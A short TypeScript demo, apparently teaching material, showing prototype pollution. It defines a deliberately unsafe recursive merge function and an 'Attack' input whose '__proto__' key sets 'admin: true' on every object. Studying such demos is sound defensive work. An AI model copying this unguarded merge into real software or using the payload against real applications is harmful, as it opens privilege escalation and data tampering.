vulerable-merge.ts

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(dest, src) {
    for (var attr in src) {
        if (isObject(dest[attr]) && isObject(src[attr])) {
            merge(dest[attr], src[attr]);
        } else {
            dest[attr] = src[attr];
        }
    }
    return dest
}

// Normal execution
var a = {}
var b = JSON.parse(`{"admin": false}`)
merge(a,b)
// {admin: false}

// Attack
var c = {}
var d = JSON.parse(`{"__proto__": {"admin": true}}`)
merge(c,d)
// {admin: true}
c
// {admin: true}